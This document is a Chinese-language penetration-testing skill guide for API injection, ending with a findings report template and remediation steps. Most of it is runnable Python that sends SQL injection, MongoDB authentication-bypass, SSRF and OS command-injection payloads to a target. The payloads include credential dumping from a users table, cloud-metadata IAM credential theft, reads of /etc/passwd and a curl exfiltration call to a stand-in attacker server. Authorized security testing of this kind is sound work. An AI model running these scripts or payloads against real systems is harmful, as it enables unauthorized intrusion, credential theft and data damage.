exploiting-api-injection-vulnerabilities

利用 API 注入漏洞

何时使用

• 测试接受用户输入用于数据库查询、系统命令或外部请求的 API 端点
• 评估与 SQL 数据库、NoSQL 存储（MongoDB、Redis）、LDAP 目录或外部 URL 交互的 API
• 评估所有 API 端点上的输入验证和参数化查询使用情况
• 测试 SSRF，其中 API 参数接受触发服务端请求的 URL 或主机名
• 识别请求头、路径参数、查询字符串和 JSON/XML 请求体中的注入点

请勿使用，除非获得书面授权。注入测试可能会修改或破坏数据，并危及后端系统。

前置条件

• 书面授权，明确指定范围内的目标 API 和后端系统
• Python 3.10+ 及 requests 库
• SQLMap，用于自动化 SQL 注入检测和利用
• Burp Suite Professional 及 Active Scan 功能
• 了解后端数据库技术（MySQL、PostgreSQL、MongoDB、Redis）
• 隔离的测试环境，以避免生产数据损坏

法律声明： 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能是违法的，可能违反计算机欺诈相关法律。

工作流

步骤 1：注入点识别

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Map all input points across the API
injection_points = [
    # Path parameters
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # Query parameters
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON body parameters
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # Header parameters
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]

步骤 2：SQL 注入测试

# SQL injection payloads for different contexts
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """Test a parameter for SQL injection."""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)
            elif param_type == "path":
                url = f"{BASE_URL}{endpoint.replace('{input}', urllib.parse.quote(payload))}"
                resp = requests.get(url, headers=headers, timeout=15)

            elapsed = time.time() - start

            # Check for SQL injection indicators
            indicators = {
                "error": any(kw in resp.text.lower() for kw in [
                    "sql syntax", "mysql", "postgresql", "sqlite",
                    "oracle", "unterminated", "syntax error",
                    "unexpected end", "quoted string", "invalid input"
                ]),
                "time_based": elapsed > 4.5 and "SLEEP" in payload.upper(),
                "union_data": resp.status_code == 200 and len(resp.text) > 0
                              and "UNION" in payload.upper()
                              and resp.text != requests.get(f"{BASE_URL}{endpoint}",
                                  headers=headers, params={param_name: "test"}).text,
            }

            if any(indicators.values()):
                triggered = [k for k, v in indicators.items() if v]
                results.append({
                    "endpoint": endpoint,
                    "param": param_name,
                    "category": category,
                    "payload": payload,
                    "indicators": triggered,
                    "status": resp.status_code,
                    "time": f"{elapsed:.1f}s"
                })
                print(f"[SQLi] {endpoint} ({param_name}): {category} - {triggered}")

    return results

# Test search parameter
test_sql_injection("/search", "q", "query")
test_sql_injection("/products", "category", "query")
test_sql_injection("/auth/login", "username", "body")

步骤 3：NoSQL 注入测试

# NoSQL injection payloads (MongoDB-focused)
NOSQL_PAYLOADS = {
    "auth_bypass": [
        # MongoDB operator injection in JSON body
        {"username": {"$ne": ""}, "password": {"$ne": ""}},
        {"username": {"$gt": ""}, "password": {"$gt": ""}},
        {"username": {"$regex": ".*"}, "password": {"$regex": ".*"}},
        {"username": "admin", "password": {"$ne": "wrongpassword"}},
        {"username": {"$in": ["admin", "root", "administrator"]}, "password": {"$ne": ""}},
    ],
    "data_extraction": [
        {"username": {"$regex": "^a"}, "password": {"$ne": ""}},  # Enumerate first char
        {"username": {"$where": "this.username.length > 0"}, "password": {"$ne": ""}},
    ],
    "operator_injection_string": [
        # When input is a string field
        '{"$gt": ""}',
        '{"$ne": null}',
        '{"$regex": ".*"}',
        '{"$where": "1==1"}',
    ],
}

def test_nosql_injection(endpoint, method="POST"):
    """Test for MongoDB NoSQL injection."""
    results = []

    # Test JSON body operator injection
    for category, payloads in NOSQL_PAYLOADS.items():
        for payload in payloads:
            if isinstance(payload, dict):
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers, json=payload, timeout=10)
            else:
                # Test as string parameter
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={"username": json.loads(payload), "password": "test"},
                                   timeout=10)

            if resp.status_code == 200:
                resp_data = resp.json() if resp.text else {}
                if "token" in str(resp_data) or "user" in str(resp_data):
                    results.append({
                        "endpoint": endpoint,
                        "category": category,
                        "payload": str(payload)[:100],
                        "authenticated": True,
                        "response": str(resp_data)[:200]
                    })
                    print(f"[NoSQLi] {endpoint}: {category} - Auth bypass successful")

    return results

nosql_results = test_nosql_injection("/auth/login")

步骤 4：服务端请求伪造（SSRF）测试

# SSRF payloads targeting internal services
SSRF_PAYLOADS = {
    "cloud_metadata": [
        "http://169.254.169.254/latest/meta-data/",                           # AWS IMDS
        "http://169.254.169.254/latest/meta-data/iam/security-credentials/",  # AWS IAM creds
        "http://metadata.google.internal/computeMetadata/v1/",                # GCP
        "http://169.254.169.254/metadata/instance?api-version=2021-02-01",    # Azure
    ],
    "internal_services": [
        "http://localhost:8080/",
        "http://127.0.0.1:6379/",           # Redis
        "http://127.0.0.1:9200/",           # Elasticsearch
        "http://127.0.0.1:27017/",          # MongoDB
        "http://internal-api.local:8080/",
        "http://10.0.0.1/admin/",
    ],
    "protocol_smuggling": [
        "gopher://127.0.0.1:6379/_SET%20pwned%20true",
        "file:///etc/passwd",
        "dict://127.0.0.1:6379/INFO",
    ],
    "bypass_filters": [
        "http://0x7f000001/",                # Hex IP for 127.0.0.1
        "http://2130706433/",                # Decimal IP for 127.0.0.1
        "http://0177.0.0.1/",               # Octal
        "http://127.0.0.1.nip.io/",         # DNS rebinding
        "http://[::1]/",                     # IPv6 localhost
        "http://127.1/",                     # Shortened IP
        "http://0/",                         # Zero
    ],
}

def test_ssrf(endpoint, url_param, method="POST"):
    """Test for SSRF in URL-accepting parameters."""
    results = []

    for category, payloads in SSRF_PAYLOADS.items():
        for payload in payloads:
            try:
                if method == "POST":
                    resp = requests.post(f"{BASE_URL}{endpoint}",
                                       headers=headers,
                                       json={url_param: payload}, timeout=10)
                else:
                    resp = requests.get(f"{BASE_URL}{endpoint}",
                                      headers=headers,
                                      params={url_param: payload}, timeout=10)

                # Check for SSRF indicators
                if resp.status_code == 200 and len(resp.text) > 50:
                    # Check for cloud metadata
                    if any(kw in resp.text for kw in ["ami-id", "instance-id",
                                                       "iam", "AccessKeyId",
                                                       "root:x:", "computeMetadata"]):
                        results.append({
                            "endpoint": endpoint,
                            "category": category,
                            "payload": payload,
                            "severity": "critical",
                            "data": resp.text[:300]
                        })
                        print(f"[SSRF-CRITICAL] {endpoint}: {category} - {payload}")
                    else:
                        results.append({
                            "endpoint": endpoint,
                            "category": category,
                            "payload": payload,
                            "severity": "high",
                            "data": resp.text[:100]
                        })
                        print(f"[SSRF] {endpoint}: {category} - {payload} -> {resp.status_code}")
            except requests.exceptions.RequestException:
                pass

    return results

# Test endpoints that accept URLs
ssrf_results = test_ssrf("/webhook/test", "url")
ssrf_results.extend(test_ssrf("/import", "source_url"))
ssrf_results.extend(test_ssrf("/proxy", "target", "GET"))

步骤 5：OS 命令注入测试

# Command injection payloads
CMD_PAYLOADS = {
    "detection": [
        "; sleep 5",
        "| sleep 5",
        "` sleep 5 `",
        "$( sleep 5 )",
        "\n sleep 5",
        "& ping -c 5 127.0.0.1 &",
    ],
    "data_exfil": [
        "; cat /etc/passwd",
        "| id",
        "`whoami`",
        "$(uname -a)",
        "; curl http://attacker-controlled-server.com/$(whoami)",
    ],
    "windows": [
        "& ping -n 5 127.0.0.1 &",
        "| dir",
        "; type C:\\Windows\\System32\\drivers\\etc\\hosts",
        "& timeout /t 5 &",
    ],
}

def test_command_injection(endpoint, param_name, param_type="body"):
    """Test for OS command injection."""
    results = []

    for category, payloads in CMD_PAYLOADS.items():
        for payload in payloads:
            start = time.time()
            prefixed_payload = f"validvalue{payload}"

            if param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: prefixed_payload}, timeout=15)
            else:
                resp = requests.get(f"{BASE_URL}{endpoint}",
                                  headers=headers,
                                  params={param_name: prefixed_payload}, timeout=15)

            elapsed = time.time() - start

            indicators = {
                "time_based": elapsed > 4.5 and "sleep" in payload.lower(),
                "output": any(kw in resp.text for kw in [
                    "root:", "uid=", "Linux", "Windows", "bin/bash",
                    "Directory of", "Volume Serial"
                ]),
            }

            if any(indicators.values()):
                results.append({
                    "endpoint": endpoint,
                    "param": param_name,
                    "category": category,
                    "payload": payload,
                    "indicators": [k for k, v in indicators.items() if v],
                })
                print(f"[CMDi] {endpoint} ({param_name}): {payload}")

    return results

# Test file processing and system interaction endpoints
test_command_injection("/export", "filename")
test_command_injection("/convert", "input_file")
test_command_injection("/ping", "host", "query")

关键概念

术语	定义
SQL 注入	将 SQL 代码插入到 API 参数中，这些参数被拼接到数据库查询中，从而实现数据提取或修改
NoSQL 注入	将 NoSQL 操作符（$ne、$gt、$regex）注入 MongoDB 查询，或通过 API 参数操纵 Redis/Elasticsearch 查询
SSRF	服务端请求伪造（OWASP API7:2023）- 强制服务器向攻击者指定的目标（包括内部服务）发起 HTTP 请求
命令注入	通过 API 参数注入 OS 命令，这些参数被传递给 shell 执行函数（exec、system、popen）
参数化查询	使用带绑定参数的预编译语句，通过将代码与数据分离来防止 SQL 注入
输入验证	服务端在处理前验证用户输入是否符合预期的格式、类型、长度和字符集

工具与系统

• SQLMap：自动化 SQL 注入检测和利用工具，支持所有主流数据库类型
• Burp Suite Professional：主动扫描器，支持 SQL、NoSQL、SSRF 和命令注入检测
• NoSQLMap：自动化 NoSQL 注入检测和利用工具，专注于 MongoDB
• SSRFmap：SSRF 检测和利用框架，带有云元数据提取模块
• Commix：自动化 OS 命令注入检测和利用工具

常见场景

场景：电子商务 API 注入评估

背景：一个电子商务 API 使用 PostgreSQL 存储商品目录，使用 MongoDB 存储用户会话，并接受用于订单通知的 webhook URL。该 API 使用 Node.js/Express 构建。

方法：

1. 使用 SQL 载荷测试商品搜索端点 GET /api/v1/products?search=test - 发现基于报错的 SQLi，暴露出后端为 PostgreSQL 14
2. 利用基于联合查询的 SQLi 提取所有表名，然后从 users 表导出用户凭据
3. 使用 NoSQL 操作符测试登录端点 - {"username":{"$ne":""},"password":{"$ne":""}} 绕过身份验证
4. 测试 webhook URL 端点的 SSRF - POST /api/v1/webhooks {"url":"http://169.254.169.254/latest/meta-data/"} 返回 AWS 实例元数据
5. 通过 SSRF 提取 AWS IAM 角色凭据，从而获得对包含客户数据的 S3 存储桶的访问权限
6. 测试文件导出端点的命令注入 - GET /api/v1/export?filename=report;cat /etc/passwd 返回 passwd 文件内容

陷阱：

• 当后端使用多个数据存储（SQL、NoSQL、Redis、Elasticsearch）时，只测试 SQL 注入
• 遗漏 HTTP 头（User-Agent、Referer、X-Forwarded-For）中的注入点，这些注入点可能被记录到 SQL 数据库中
• 当初始载荷被 URL 验证阻止时，不测试 SSRF 绕过技术
• 假设 JSON API 请求体不受 SQL 注入影响（JSON 值仍会被拼接到查询中）
• 当错误消息被抑制时，不测试基于时间的注入

输出格式

## Finding: SQL Injection in Product Search API Enables Full Database Access

**ID**: API-INJ-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API8:2023 - Security Misconfiguration / Injection
**Affected Endpoints**:
  - GET /api/v1/products?search= (SQL injection)
  - POST /api/v1/auth/login (NoSQL injection)
  - POST /api/v1/webhooks (SSRF)

**Description**:
The product search API concatenates user input directly into a PostgreSQL
query without parameterization. An attacker can extract all database
contents including user credentials, payment information, and admin
secrets. Additionally, the login endpoint is vulnerable to MongoDB
NoSQL operator injection, and the webhook endpoint allows SSRF to
internal services and cloud metadata.

**Impact**:
- Full database read/write access via SQL injection
- Authentication bypass via NoSQL operator injection
- AWS IAM credential theft via SSRF to instance metadata
- Potential remote code execution via SQL injection stacked queries

**Remediation**:
1. Use parameterized queries for all database operations
2. Validate and sanitize NoSQL operator characters in JSON input
3. Implement URL allowlisting for webhook and callback URLs
4. Block access to cloud metadata endpoints (169.254.169.254) from application servers
5. Use an ORM with parameterized queries and disable raw query methods
6. Implement WAF rules for common injection patterns as defense in depth